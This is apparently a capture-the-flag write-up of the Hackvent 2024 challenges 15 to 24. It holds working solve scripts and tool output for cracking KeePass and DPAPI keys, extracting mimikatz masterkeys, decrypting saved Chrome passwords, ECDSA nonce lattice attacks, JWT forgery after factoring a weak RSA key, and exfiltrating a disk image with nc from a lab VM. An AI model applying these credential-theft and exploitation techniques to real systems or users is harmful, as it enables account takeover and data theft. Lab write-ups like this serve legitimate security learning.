Can you step in and help each reindeer get ready in time for the big event?
Solution:
First we start with Blitzen, were we are asked to find the pw for his Keepass file.
The proper password is in flag.txt, but well hidden, so we need to test them all:
There are not only obvious flags in it, but also some with base64 “payload” and some with
hexascii payload, so we write a small program which dumps us all variants to stdout.
import base64
for pw in pwds:
print ('HV24'+pw)
# inverse string
r = p[::-1]
print(f'HV24{{{r}}}')
print(r)
Now we can try to bruteforce the list of passwords, but unfortunately john does not yet
understand the new Keepass v4 format. So we cannot use john or hashcat. But there is a project
which performs a brute-force in the verbatim sense :-D
https://github.com/r3nt0n/keepass4brute/blob/master/keepass4brute.sh
daubsi@bigigloo /tmp/ch15/Blitzen ./keepass4brute.sh blitzen-passwords.kdbx
wordlist.txt
keepass4brute 1.3 by r3nt0n
https://github.com/r3nt0n/keepass4brute
[+] Words tested: 3128/3910 - Attempts per minute: 1165 - Estimated time remaining:
40 seconds
[+] Current attempt: HV24{#?#?#?#ToG3th3r#}
Looking into the Keepassfile we find some DPAPI keys in the Recycle bin:
Attachments:
Prancers-keys.zip (2.8 KiB)
These keys come in handy when we look into Prancer’s folder with a backup of a
Chrome profile, because Chrome on Windows encyrpts the sensitive data using DPAPI
(Data Protection API) which uses the user’s keys to transparently encrypt the data
(without an additional password).
We follow this writeup to get access to the Local State file in the end:
https://www.hackthebox.com/blog/seized-ca-ctf-2022-forensics-writeup
https://ohyicong.medium.com/how-to-hack-chrome-password-with-python-1bedc167be3d
(.venv) ✘ daubsi@bigigloo
/tmp/ch15/Blitzen/C/Users/prancer/AppData/Roaming/Microsoft/Protect/S-1-5-21-
3152064623-1017805262-467371474-1001 python3 /tmp/ch15/Blitzen/DPAPImk2john.py --
sid="S-1-5-21-3152064623-1017805262-467371474-1001" --masterkey="c790ec71-1c98-
404a-9dab-4bfe8f6871a5" --context="local" > hash.txt
(.venv) daubsi@bigigloo
/tmp/ch15/Blitzen/C/Users/prancer/AppData/Roaming/Microsoft/Protect/S-1-5-21-
3152064623-1017805262-467371474-1001 ls -la
total 20
drwxrwxr-x 2 daubsi daubsi 4096 Dec 16 21:23 .
drwxrwxr-x 3 daubsi daubsi 4096 Dec 12 14:34 ..
-rw-rw-r-- 1 daubsi daubsi 468 Dec 12 03:23 c790ec71-1c98-404a-9dab-4bfe8f6871a5
-rw-rw-r-- 1 daubsi daubsi 404 Dec 16 21:24 hash.txt
-rw-rw-r-- 1 daubsi daubsi 24 Dec 12 03:23 Preferred
(.venv) daubsi@bigigloo
/tmp/ch15/Blitzen/C/Users/prancer/AppData/Roaming/Microsoft/Protect/S-1-5-21-
3152064623-1017805262-467371474-1001 cat hash.txt
$DPAPImk$2*1*S-1-5-21-3152064623-1017805262-467371474-
1001*aes256*sha512*8000*dd9910a8f9dbed99caf0eb98527e4bff*288*024ed8b5eef41f45a96d52
eaeb98c06e75054c5369076328ac49abbc5e956ce6a043adbdd63899646afc1c5820b3d2021d5230846
f26250ea92ee8dc7a4691e6fbc6c5c3abae38c0a0b47ae10d146b5a20171cfdb4a8556edb53c4a4cdee
ab33ada65f67c3f3131e5c4c057297487d60e85e2de5123daf63171c6a2f5aac00afbd19efa9ec9f323
2ed307d7a66f3ed3e
$DPAPImk$2*1*S-1-5-21-3152064623-1017805262-467371474-
1001*aes256*sha512*8000*dd9910a8f9dbed99caf0eb98527e4bff*288*024ed8b5eef41f45a96d52
eaeb98c06e75054c5369076328ac49abbc5e956ce6a043adbdd63899646afc1c5820b3d2021d5230846
f26250ea92ee8dc7a4691e6fbc6c5c3abae38c0a0b47ae10d146b5a20171cfdb4a8556edb53c4a4cdee
ab33ada65f67c3f3131e5c4c057297487d60e85e2de5123daf63171c6a2f5aac00afbd19efa9ec9f323
2ed307d7a66f3ed3e:prancer2
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 15900 (DPAPI masterkey file v2 (context 1 and 2))
Hash.Target......: $DPAPImk$2*1*S-1-5-21-3152064623-1017805262-4673714...f3ed3e
Time.Started.....: Tue Dec 15 08:45:01 2024 (13 mins, 30 secs)
Time.Estimated...: Tue Dec 15 08:58:31 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 5669 H/s (10.04ms) @ Accel:32 Loops:8 Thr:128 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 4591616/14344384 (32.01%)
Rejected.........: 0/4591616 (0.00%)
Restore.Point....: 4513792/14344384 (31.47%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:7992-7999
Candidate.Engine.: Device Generator
Candidates.#1....: prrpls69. -> pollo123467
Hardware.Mon.SMC.: Fan0: 25%, Fan1: 25%
Hardware.Mon.#1..: Util: 94%
C:\Users\administrator\Downloads\mimikatz_trunk\x64>mimikatz.exe
**MASTERKEYS**
dwVersion : 00000002 - 2
szGuid : {c790ec71-1c98-404a-9dab-4bfe8f6871a5}
dwFlags : 00000005 - 5
dwMasterKeyLen : 000000b0 - 176
dwBackupKeyLen : 00000090 - 144
dwCredHistLen : 00000014 - 20
dwDomainKeyLen : 00000000 - 0
[masterkey]
**MASTERKEY**
dwVersion : 00000002 - 2
salt : dd9910a8f9dbed99caf0eb98527e4bff
rounds : 00001f40 - 8000
algHash : 0000800e - 32782 (CALG_SHA_512)
algCrypt : 00006610 - 26128 (CALG_AES_256)
pbKey :
024ed8b5eef41f45a96d52eaeb98c06e75054c5369076328ac49abbc5e956ce6a043adbdd63899646af
c1c5820b3d2021d5230846f26250ea92ee8dc7a4691e6fbc6c5c3abae38c0a0b47ae10d146b5a20171c
fdb4a8556edb53c4a4cdeeab33ada65f67c3f3131e5c4c057297487d60e85e2de5123daf63171c6a2f5
aac00afbd19efa9ec9f3232ed307d7a66f3ed3e
[backupkey]
**MASTERKEY**
dwVersion : 00000002 - 2
salt : 29f8e374eedee9b6f5d2a7ae8c0b77bc
rounds : 00001f40 - 8000
algHash : 0000800e - 32782 (CALG_SHA_512)
algCrypt : 00006610 - 26128 (CALG_AES_256)
pbKey :
f0aa63b9dc61a1da66de3137d9830bd1996a0bfa9942deb3f16d66d07949cd6070dfdebe3aa7a3e0839
3e2ec438f28fce6e28380f7f37b656ba5fcd174215bb2ee07850b263b520a0f15637b0fe1ce2863068a
68236030ae1d98c0793ade307aa20d136429e48ee0b1bded7fb26bb545
[credhist]
**CREDHIST INFO**
dwVersion : 00000003 - 3
guid : {a163913c-885c-42aa-b243-4581bc47fd80}
So the masterkey is
a0b912995883940fac279a75f575c3ead6b037de200e99b52ae2749218568c80a54c602d52a65a991ca
93ee830f3d2856c27c7c18ee9f12c657f3e94b6755afd
No, lets then decrypt the encrypted key from Chrome (getting dizzy already?)
First we need to decrypt the encryption key from chrome’s Local State file:
encrypted_key = encrypted_key['os_crypt']['encrypted_key']
decrypted_key = base64.b64decode(encrypted_key)
print(decrypted_key)
open("dec.data","wb").write(decrypted_key[5:])
(.venv) daubsi@bigigloo:/tmp/ch15/Prancer/Chrome$ python3 getchromekey.py
b'DPAPI\x01\x00\x00\x00\xd0\x8c\x9d\xdf\x01\x15\xd1\x11\x8cz\x00\xc0O\xc2\x97\xeb\x
01\x00\x00\x00q\xec\x90\xc7\x98\x1cJ@\x9d\xabK\xfe\x8fhq\xa5\x10\x00\x00\x00\x1c\x0
0\x00\x00G\x00o\x00o\x00g\x00l\x00e\x00
\x00C\x00h\x00r\x00o\x00m\x00e\x00\x00\x00\x10f\x00\x00\x00\x01\x00\x00
\x00\x00\x00\xf3q\x1e\xba\xc5s>;\'\x05[\xf7\x90\xe0\x83\xfdb\xaf\xfa\xf3\xee\xa5\x9
7\xd5\x08H\x12\xdc\t\xc7U^\x00\x00\x00\x00\x0e\x80\x00\x00\x00\x02\x00\x00
\x00\x00\x00p\xe8\x8bH\x92\xef\x1dr\x9f\tj\xed{\xb5\xa8OR\xc3K\xa3"l\xc9\xcf0\x9aap
\xaar(\x870\x00\x00\x00\\5\xe2\xc1\xed\t\x10Z\xe2z\'\xe4QH\x7f\xe8\xa1\x86\xbc\x82c
z^\xb7X\xfe\x9c\x13\x84\xb7\xe1Fo\'c\xb7u\xdc\xf5vJ\xe6^.\xac\xf3\xc9\xed@\x00\x00\
x00\'d\n\xbf\xc4c4\xc37\xe8(\xa3!\xff\xd0\xb8St\xe2\x1b\x98S~c2(\xceO\x8c\x01\xce\x
8d\xbeV\xa7\xb0\xc4/\xad\xfc\xa0\x14*\xd1\xb9\xe9e\x90\xb1\xac\x91\x19\xa7O\xba\x80
8\t\xa7oi=\x88!'
Here we also have the confirmation that we’re talking about a DPAPI protected key
(see first 5 bytes)
And finally we have the 32 Byte AES key in file aes.dec which is actually used to encrypt the
browser data in the Chrome password database:
Now let’s get the encrypted passwords from Chromes “Login data” sqlite3 db:
import re
import sys
import json
import base64
import sqlite3
from Crypto.Cipher import AES
import shutil
import csv
def get_secret_key():
secret_key = open('aes.dec', 'rb').read()
return secret_key
def get_db_connection(chrome_path_login_db):
try:
return sqlite3.connect(chrome_path_login_db)
except Exception as e:
print("%s"%str(e))
print("[ERR] Chrome database cannot be found")
return None
if __name__ == '__main__':
secret_key = get_secret_key()
chrome_path_login_db = r"Login Data"
conn = get_db_connection(chrome_path_login_db)
if(secret_key and conn):
print("Reading")
cursor = conn.cursor()
cursor.execute("SELECT origin_url, username_value, password_value FROM
logins")
for index,login in enumerate(cursor.fetchall()):
url = login[0]
username = login[1]
ciphertext = login[2]
if(url!="" and username!="" and ciphertext!=""):
decrypted_password = decrypt_password(ciphertext, secret_key)
print("Sequence: %d"%(index))
print("URL: %s\nUser Name: %s\nPassword:
%s\n"%(url,username,decrypted_password))
print("*"*50)
cursor.close()
conn.close()
Sequence: 0
URL: https://accounts.santamail.christmas/
User Name: prancer@santamail.christmas
Password: HV24{#?#?#BEST#?#}
Opening the “History” file with an sqlite3 db client, we can see a file download in the Downloads
table. It leads to a MIDI file which was accessed on Gdrive. We download the file and open it in
our favorite MIDI sequencer. I used Cubase 14 Elements. Here we find a surprise in one of the
tracks. Another fragment! The “ASCII Art” flag part is realized via MIDI keypress events!
The hidden hard flag is also stored in the Chrome profile dump. Please see later in this
document.
Here there is only one image of a reindeer playing piano and a jar of jam on the piano.
We use binwalk and foremost on the file to extract the embedded files.
One day I need to investigate why binwalk fails to properly extract the identified files most of the
time…
What looks like a base64 string actually is base58 (mean!!) and decodes to:
51°30'45.09"N, 0°13'8.52"W
But wait…
If we look at the regex below the coordinates, we see that 154 Freston Rd actually matches
perfectly! According to our 3 thumbails it could be the password for a zip file!
We can use the found password “154 Freston Rd” we found when analyzing the files in Comet’s
folder in order to view it.
We expect the flag to be found in here to start with “HV24{“ as usual. Looking at the bass line we
have 2 notes, a pause, again 2 notes, pause, 2, pause, 2, pause, 3, pause…
Let’s assign numbers to the tone pitch, and begin with the lowest there is (the e):
And without much reasoning we spot these are the decimal ASCII values of H,V,2,4,{
When we continue parsing the rest of the sheet we get the last part of the flag:
HV24{#ReiNd33r#?#?#?
Flag:
HV24{#ReiNd33r#jAM#BEST#ToG3th3r#}
[HV24.16] Santa's Signatures
Introduction
Because of new bureaucratic regulations, Santa has to sign every package that he sends out. So
far, he has always used his drawing pad to sign manually but lately, he has been getting hand
cramps and the doctor recommended him to try out digital signatures. Thus, he has tasked one
of his elves to implement such a system and has published 4 digital signatures of his favourite
lyrics to the world. Unfortunately, you didn't have the time to ask him for more samples...
Solution:
private_key = SigningKey.generate(curve=NIST192p)
public_key = private_key.get_verifying_key()
curve = NIST192p
n = curve.order
message = b"""
We're no strangers to love
You know the rules and so do I (do I)
A full commitment's what I'm thinking of
You wouldn't get this from any other guy
h = int.from_bytes(sha256(message).digest(), "big") % n
for _ in range(4):
k = int.from_bytes(flag + os.urandom(4), "big")
assert k < n
r = (k * curve.generator).x() % n
s = (pow(k, -1, n) * (h + r * private_key.privkey.secret_multiplier)) % n
r_list.append(int(r))
s_list.append(int(s))
Solution:
The problem in this challenge is, that we’re using an almost constant nonce consisting of our
flag string and just 4 random bytes.
This problem is described here:
https://blog.trailofbits.com/2020/06/11/ecdsa-handle-with-care/
Using only few known bits from the nonce the private key can be derived.
And once we know the private key we can then get the true value of the nonce from the
signature.
--
solve_ch16.py
#!/usr/bin/env python
# Author Dario Clavijo 2020
# based on previous work:
# https://blog.trailofbits.com/2020/06/11/ecdsa-handle-with-care/
# https://www.youtube.com/watch?v=6ssTlSSIJQE
import sys
# import ecdsa
import random
from sage.all_cmdline import *
import gmpy2
import binascii
# NIST order
order = 6277101735386680763835789423176059013767194773182842284081
message = 5451444470609933768673875739190099258978652043860043513059
def modular_inv(a, b):
return int(gmpy2.invert(a, b))
r = [382825619053484650723101111089716481637169498894438388011,
2846338329314931410625679965921020604974471932472870479272,
4539748290341241446856454569550628724992441965649378727404,
941682904620798018129415714406121176743478727872983123639]
s = [1053747182506109288607080233885972025033725041930583121945,
271361922488295908863717359631373504169617539839833749415,
1147747170412930491481269098330085803226817442551773675299,
3831443458083168767818771718543562148023158622090413416724]
return matrix
def display_keys(keys):
for key in keys:
print(f"Key: {key:x}")
for idx,R in enumerate(r):
k = (message + int(key) * R) * modular_inv(s[idx],order) % order
try:
print(f"Candidate k: {hex(k)} -> {binascii.unhexlify(hex(k)[2:-
8])}")
except:
pass
sys.stdout.flush()
sys.stderr.flush()
def main():
B = 32
run_mode = "LLL"
msgs = []
sigs = []
for i in range(4):
msgs.append(message)
sigs.append((r[i],s[i]))
if __name__ == "__main__":
main()
(sage-sh) z000csgk@MACMC24KYCY64:~/Downloads/ch16$ python3 github.py
python3: can't open file '/Users/z000csgk/Downloads/ch16/github.py': [Errno 2] No
such file or directory
(sage-sh) z000csgk@MACMC24KYCY64:~/Downloads/ch16$ python3 solve_ch16.py
Using: 4 sigs...
Key: 6095b961009278439c39fe1e3adc7b5cf3da6937b097fd19
Candidate k: 0x466c8e3aef062e44939eadd724aa47fd9524512bad0ffe4a ->
b'Fl\x8e:\xef\x06.D\x93\x9e\xad\xd7$\xaaG\xfd\x95$Q+'
Candidate k: 0xdcc361a53f5710f0859ef111bb8f889ab68ad3f04e2896a4 ->
b'\xdc\xc3a\xa5?W\x10\xf0\x85\x9e\xf1\x11\xbb\x8f\x88\x9a\xb6\x8a\xd3\xf0'
Candidate k: 0x7492c56e6969180673c1fe53feeaaa696029647365987792 ->
b't\x92\xc5nii\x18\x06s\xc1\xfeS\xfe\xea\xaai`)ds'
Candidate k: 0x466c8e3aef062e44939eadd724aa47fd9524512bad0ffe4a ->
b'Fl\x8e:\xef\x06.D\x93\x9e\xad\xd7$\xaaG\xfd\x95$Q+'
Key: 69a9403da5a79d502f3312b7230cd0649049f7b503c5c806
Candidate k: 0x485632347b6a7573745f7573335f45644453417d2a9fb72f ->
b'HV24{just_us3_EdDSA}'
Candidate k: 0x485632347b6a7573745f7573335f45644453417dd70a29e7 ->
b'HV24{just_us3_EdDSA}'
Candidate k: 0x485632347b6a7573745f7573335f45644453417d34875e0b ->
b'HV24{just_us3_EdDSA}'
Candidate k: 0x485632347b6a7573745f7573335f45644453417d2064af64 ->
b'HV24{just_us3_EdDSA}'
Key: 2c42efa79a5f237e71ffcef55b55f2e2a501decb1e4284dc
Candidate k: 0x3f9bdc7dafab3d477b8349bd0b590d3b64f502affd924548 ->
b'?\x9b\xdc}\xaf\xab=G{\x83I\xbd\x0bY\r;d\xf5\x02\xaf'
Candidate k: 0xe811a1f9817fc6334b1e3d0db3e4879e487e0df153bb6ada ->
b'\xe8\x11\xa1\xf9\x81\x7f\xc63K\x1e=\r\xb3\xe4\x87\x9eH~\r\xf1'
Key: baf1d40deb6c09acd3c93b1e182a142bcd2dc41e29e66d3c
Candidate k: 0xce0269ea828eff240cb9cadc4f57a4efd1fc5f09d91df7a2 ->
b'\xce\x02i\xea\x82\x8e\xff$\x0c\xb9\xca\xdcOW\xa4\xef\xd1\xfc_\t'
Candidate k: 0x5e41cd536ec7a694e8b75c7ec1dfe6700e0fd3d74d8af464 ->
b'^A\xcdSn\xc7\xa6\x94\xe8\xb7\\~\xc1\xdf\xe6p\x0e\x0f\xd3\xd7'
Candidate k: 0x9280f09d560f0fd86fc7698c5e0543cb10c310fac3248cea ->
b'\x92\x80\xf0\x9dV\x0f\x0f\xd8o\xc7i\x8c^\x05C\xcb\x10\xc3\x10\xfa'
Candidate k: 0xce0269ea828eff23719777abe0a67e55d863f0a3a52bceb7 ->
b'\xce\x02i\xea\x82\x8e\xff#q\x97w\xab\xe0\xa6~U\xd8c\xf0\xa3'
Key: 82e342decb88e9d45fddd7d8ff968bfe011c702b64ae8e24
Candidate k: 0x399715e9bddd3c94a06411651d2502bc27f74ee7bd7469e5 ->
b"9\x97\x15\xe9\xbd\xdd<\x94\xa0d\x11e\x1d%\x02\xbc'\xf7N\xe7"
Candidate k: 0x8a09a1c277a8dbef12b3db3dc48a1a7e60a25e2aeb01f7b8 ->
b'\x8a\t\xa1\xc2w\xa8\xdb\xef\x12\xb3\xdb=\xc4\x8a\x1a~`\xa2^*'
Candidate k: 0xbca4837be1254cfb43f5ee9eaa0296365b5f255e690d3a26 ->
b'\xbc\xa4\x83{\xe1%L\xfbC\xf5\xee\x9e\xaa\x02\x966[_%^'
Candidate k: 0x399715e9bddd3c956b44bb79efd74d6fe3ecf01adc3c64a7 ->
b'9\x97\x15\xe9\xbd\xdd<\x95kD\xbby\xef\xd7Mo\xe3\xec\xf0\x1a'
(sage-sh) z000csgk@MACMC24KYCY64:~/Downloads/ch16$
We can also try to adapt the original script from the blog to solve it like so:
def modular_inv(a,b):
return pow(a, -1, b)
curve = NIST192p
order = curve.order
msg_hash = 5451444470609933768673875739190099258978652043860043513059
sigs_r = [382825619053484650723101111089716481637169498894438388011,
2846338329314931410625679965921020604974471932472870479272,
4539748290341241446856454569550628724992441965649378727404,
941682904620798018129415714406121176743478727872983123639]
sigs_s = [1053747182506109288607080233885972025033725041930583121945,
271361922488295908863717359631373504169617539839833749415,
1147747170412930491481269098330085803226817442551773675299,
3831443458083168767818771718543562148023158622090413416724]
for i in range(4):
row.append(((sigs[i][0] * modular_inv(sigs[i][1], order)) - rnsn_inv) )
row2.append(((msgs[i] * modular_inv(sigs[i][1], order)) - mnsn_inv) )
row.append((2**32) / order)
row.append(0)
row2.append(0)
row2.append(2**32)
matrix.append(row)
matrix.append(row2)
Flag: HV24{just_us3_EdDSA}
[HV24.17] Santa's Not So Secure Encryption Platform
Introduction
One day, Santa wanted some platform to encrypt things, so he asked one of his elves. Unfortu-
nately for Santa the elf he asked was a "Bricoleur" or "Bastler".
The closest one can describe the application is probably something along the lines of "Security
through obscurity, minus the security".
Solution:
Note to self: Great, I noticed on the 27th that I did not document this one in time and now need
to remember how it was done...
The idea of this challenge was, that the crypto was flawed. You are able to derive the private key
because N was initialized in a wrong way.
Once we have N we can utilize the existing API functions in a client side program to create our
own JWT. After registering an account and logging in we see our existing token has “sub”: 2
which is apparently our user ID. We can just substitute this value with “1” and sign the token
with our derived private key.
Now that we have admin privileges, we can now read the flag from the /api/crypto/flag API and
try to decrypt with /api/crypto/decrypt – but – meh! – the decryption fails because the server
side code checks for HV in the decoded text and errors out. So we need to decrypt but not have
the plaintext at the same time. How to do this?
ndec = _chunk(ciphertext)
dec = []
dec.append(xor(self._ecb.decrypt(ndec[0]), self.iv))
return b"".join(dec)
Long story short: As we have control over the IV we have control over the resulting output. We need to
have a printable output but not the original text. The easiest approach is to flip one bit (the LSB) in the
IV for the next block. By this the plaintext gets kind of shifted, but still stays plain.
The IV for the next block is then the current cipherblock also with xor 0x01 on every byte.
Using this approach and feeding one block at a time we’re able to fully decode the flag:
"""
Put this file into ch17/api at the same level like the main.py file
"""
import os
import requests
from sage.all import *
"""
# Here are the factors for the RSA key
# To get them, da a
# 'curl -X 'GET' \
'http://3f3a0b73-a08e-4c76-9310-48ec7235ff65.r.vuln.land:8000/api/crypto/rsa' \
-H 'accept: application/json'
# take the N value, put it into https://www.alpertron.com.ar/ECM.HTM, factor and
paste the individual values below
# Alternatively, go to sagecell.sagemath.org, enter "ecm.factor(<number>)" and
paste.
"""
factors =
[2359229066603,2454302688569,2642401026043,2699915493791,2714931667031,274903823369
9,
2915966559241,3009210159323,3017924168867,3047170749607,3053047091363,3090505878017
,3127930073029,3179510691869,3266526506381,3332442233213,3343426221053,336200060224
1,3515232220751,3594837797077,3712086275461,4044413489827,4179420446449,42298187527
51,4388594077229
]
#factors =
[2249998828817,2281639064167,2454183650189,2591870541677,2694581577197,280269962348
3,2822903414641,2912169754649,3043298731027,3109573141889,3159698681449,31628828423
11,3211402881277,3238741556513,3267941993737,3358334094827,3520474476179,3732418117
697,3809078196031,3911375735791,3940521699979,3980540978537,4051751570117,414497107
8257,4193266484959]
rsa = auth.RSA(factors)
url = "http://152.96.15.6:8000"
s = requests.Session()
url_register = url + "/api/auth/register"
url_login = url + "/api/auth/login"
url_status = url + "/api/auth/status"
url_users = url + "/api/users/"
url_get_flag = url + "/api/crypto/flag"
url_decrypt = url + "/api/crypto/decrypt"
# Define the JSON payload
json_payload_register = {
"username": "santa",
"password": "123456789",
"email": "santa@home.com"
}
json_payload_login = {
"username": "santa",
"password": "123456789",
}
# Make us admin
parts = sjwt.decode(user_token)
parts['sub']=1
new_token = sjwt.encode(parts)
# Check access
response = s.get(url_get_flag, cookies=cookies, headers=headers)
#print("Status Code:", response.status_code)
#print("Response:", response.json())
flag = response.json()
# Decrypt
iv = flag['iv']
newiv = utils.decode(iv)
newiv = bytes([a^0x01 for a in newiv])
ciphertext = flag['ciphertext']
b64_ciphertext = utils.decode(ciphertext)
for r in range(0,80,16):
# Only take PART of the ciphertext
new_ciphertext = b64_ciphertext[r:r+16]
except requests.RequestException as e:
print("An error occurred:", e)
[HV24.18] Santa’s Sego
Santa has written his own super secret stego algorithm back in the old days, after learning
about base 2. It could even do RGB stu to make the images not look o . Sadly he forgot how it
worked, can you help him out?
Looking at the individual planes in Aperisolve we can see that one plane in each color channel
looks odd: R0, G1 and B2 are much “darker” than the others. We extract/save those individual
planes and load them in Gimp as individual layers. Then we set the layer overlay method to
“Di erence” for each of the layers, and a QR code appears.
Now we need to enlarge the canvas a bit, negate the image colors and there we have the QR
code
(.venv) ➜ ch18 zbarimg result.png
QR-Code:HV24{v3ry_fun_l0l_s0rry_f0r_th3_p41n_n3v3r_g0nna_g1v3_y0u_up}
Flag: HV24{v3ry_fun_l0l_s0rry_f0r_th3_p41n_n3v3r_g0nna_g1v3_y0u_up}
[HV24.19] Santa's Workshop: A Technical Emergency
Introduction
Santa's magical workshop is more modern than ever this year! In addition to the classic toys and
presents, Santa has launched a major project: Old computers are to be repaired, cleaned and re-
cycled for children all over the world. His aim is not only to spread the magic of Christmas, but
also to protect the environment.
But just before the big celebration, there is a problem: One of the elves discovers that some of
the computers have not been properly prepared. Confidential data from previous owners may
have been left on them, and some devices are displaying strange error messages that could indi-
cate hardware problems.
As the elves in the workshop have their hands full, Santa turns to you, his specialist in digital
magic. You are given access to a magical virtual machine that simulates one of the affected
computers. Your job is to make sure that the computer gets under the Christmas tree safely and
on time.
After you start the PC, you can connect to it via SSH with the credentials root:santa on port 2222.
Start the service and get the flag.
The history file in /home/Santa shows a relation to ddrescue, so it seems we need to dump a
disk image. But that’s kind of hard for a running system and also we don’t have much space.
We can download the sources for ddrescue and can build a static version (make
static_ddrescue in the source directory). Then we connect to the VM via the VPN, spawn a
python3 -m http.server 80, and download the binary via wget from our VPN client
wget http://<vpnip>/static_ddrescue
When we try to run it with static_ddrescue /dev/sda /tmp/image.img we crash the VM cause the
file is much too big. Before this, we see there are a lot of reading errors (interesting, how is this
possible in a VM?). So we need to check the command line options to get more focused. Turns
out the -i options allows us to skip the start of the image. Also -d allows us to read every sector
one-by-one.
So let’s retry:
Now it works fine and we can exfil the image and mapfile to our VPN client machine via
nc or ncat (we load ncat via our self-hosted python webserver to the VM again).
Back on our client we inspect the mapfile and see the read errors in the protocol. Using
the tool ddrescueviewer we can have a visual look at it.
Though the tool is very simple, it’s quite dated and buggy, cause it took me almost
15min to zoom properly and get a clear display of the bad blocks…
Without much surprise playing with the zoom level, window width and block size
eventually we end up with this:
As every year, Santa is wrapping gifts for the nice children. At some point, he was wrapping this
calculator but it started to display dome weird numbers. Maybe they have a special meaning?
Solution:
s = random.randint(2<<1337, 2<<1338) * 2
flag = int.from_bytes(b"HV24{NOT_THE_REAL_FLAG}", "big")
print("""
â â â â â â â â â â â â â â â â â â â â â â â â â â â â
â â â â â â â â â â â£â£ ⣤⣤⣶⣶⣶⣶⣶⣶⣦⣤â£â¡â â â â
â â â â â â â â â
....
â â â â â â â â â â â â â â£â¡»â ¿â£¿â ¿â ¿â ¿â â â â â â â£â
â â¢â â â â â â â â â â â â â â â â â â â â â â â â â â
â â â â â â â â â
""")
This problem targets the fact to find the modulus N with an unknown e. Formulating this
problem with Google quickly leads us here:
https://github.com/ashutosh1206/Crypton/blob/master/RSA-encryption/Attack-Retrieve-
Modulus/README.md
and we can easily adapt the script to our needs to automatically find the flag:
# https://github.com/ashutosh1206/Crypton/blob/master/RSA-encryption/Attack-
Retrieve-Modulus/extractmod.py
import random
from Crypto.Util.number import *
from pwn import *
import binascii
def encrypt(n):
conn.sendline(str(n).encode('ascii'))
response = conn.recvline().decode('utf-8').strip()
res = response.split(" ")
return int(res[-1].strip())
limit=4
m_list = [2, 3, 5, 7]
ct_list = [(encrypt((m_list[i]**2))) for i in range(limit)]
ct_list2 = [(encrypt((m_list[i]))) for i in range(limit)]
assert len(ct_list) == len(ct_list2)
mod_list = [(ct_list2[i]**2 - ct_list[i]) for i in range(limit)]
_gcd = mod_list[0]
for i in mod_list:
_gcd = GCD(_gcd, i)
print(f"{binascii.unhexlify(hex(_gcd)[2:]).decode('ascii')}")
Flag: HV24{3ucl1d_c0uld've-s0lv3d_th4t_2300_y34rs_4g0}
[HV24.21] Silent Post
Introduction
The elves have launched a new service to transmit the most valuable secrets, like the naughty
lists, over a secure line. Using Silent Post, secrets get encrypted, and the decryption key is right
in the link. How clever! Sadly, one elves has lost the link to one of the lists. Can you help him
recover the list?
Solution:
This challenge uses a JSF*ck obfuscated Javascript file to encrypt our payload with a key
derived from the current timestamp and sends the encrypted payload to the server. Using a
“secret” key, we can then retrieve it again (the secret key is actually the very timestamp value).
The goal is to find the flag in all the uploaded messages.
Unf*cking the JSF*ck script with the deobfuscator of your choice yields the following code file:
function encrypt(text) {
const key = generateKey();
let encrypted = '';
for (let i = 0; i < text.length; i++) {
encrypted += String.fromCharCode(text.charCodeAt(i) ^ key.charCodeAt(i %
key.length));
}
return [btoa(encrypted), btoa(key)];
}
function decrypt(encrypted, key) {
encrypted = atob(encrypted);
key = atob(key);
let decrypted = '';
for (let i = 0; i < encrypted.length; i++) {
decrypted += String.fromCharCode(encrypted.charCodeAt(i) ^ key.charCodeAt(i
% key.length));
}
return decrypted;
}
function generateKey() {
const timestamp = Math.floor(Date.now() / 1000);
const shaObj = new jsSHA("SHA-1","TEXT",{
encoding: "UTF8"
});
shaObj.update(timestamp.toString());
const hash = shaObj.getHash("HEX");
return hash;
}
What we need to do is to a) request all stored messages by going downwards from our initial
message index (130 something), store the encrypted messages locally and then try to decrypt
those messages with keys from the timestamp going backwards.
import hashlib
import time
import base64
import requests
import string
def is_printable(text):
"""
Check if all characters in the string are printable.
"""
return all(c in string.printable for c in text)
except requests.RequestException as e:
# Stop when requests fail (e.g., 404 or no more IDs)
print(f"Error retrieving at ID {id_}: {e}")
id_ -= 1
return results
while True:
# Generate the SHA-1 hash, hex encode it, and convert it to Base64
# print(current_timestamp)
sha1_hash = hashlib.sha1(str(current_timestamp).encode()).hexdigest()
base64_hash = base64.b64encode(sha1_hash.encode()).decode()
# Construct the full URL for the current timestamp hash
try:
# Retrieve the stored data for the current ID
data = results[current_id]
key = base64_hash
encrypted = data
if encrypted and key:
# Decrypt the data
decrypted = decrypt(encrypted, key)
except Exception as e:
print(f"Error during processing for ID {current_id}: {e}")
def main():
base_url = "https://70acb07a-ebe8-4e32-8c91-8af4da591a4a.i.vuln.land"
results = {}
# Retrieve all results for the IDs in the range
# results = retrieve_all_urls(base_url, 140)
# Perform brute force and decoding
results[1] = 'LjVRV05FCAkGRFtaABU+FVAOUWtQED4JBEhJ'
brute_force_timestamp(base_url, results)
if __name__ == "__main__":
main()
Flag: HV24{s0metim3s_t1me_is_k3y}
[HV24.22] Santa's Secret Git Feature
Introduction
Santa found a new awesome git feature to hide presents. However, he thinks it does not fit the
Christmas theme, but maybe his good friend, the easter bunny, can use it... Can you find his
hidden present?
https://github.com/santawoods/christmas-secret-feature
Solution:
For this challenge you really need the proper idea. If you look locally in the repo, there is
absolutely nothing there.
Whereas the top two lines refer to the commit we see from “git log”
Initial Commit
Flag: HV24{s3cr3t_n0t3_fl4g_fun}
[HV24.23] Santa's Packet Analyser
Santa was invited to an Open Source conference in fall to talk about his newest development on
“elfilter – a packet inspector to balance elf load”. Due to the sensitive nature of the talk, it was
only open to a very select audience. Nonetheless, he came back with a nice scarf. The elfs
suspect there might be a message behind the pattern.
In CTFs, often old and esoteric languages or signs are used, And this is no di erence: It’s called
Ogham:
https://www.omniglot.com/writing/ogham.htm#:~:text=Ogham%20is%20an%20alphabet%20t
hat,Old%20Welsh%2C%20Pictish%20and%20Latin
Using this alphabet we can quickly decode the message, and need to see that “cq” is actually
“ck”.
HV24{santafilterspacqets} HV24{santafilterspackets}
Flag: HV24{santafilterspackets}
[HV24.24] Stranger Sounds
Introduction
Santa received a file with some very strange audio. He's kind of scared, it sounds like some
monster who's about to hunt him down. Help him get to the bottom of it.
This time it’s an audio file, and the first thing you do with an audio file in a CTF challenge is to
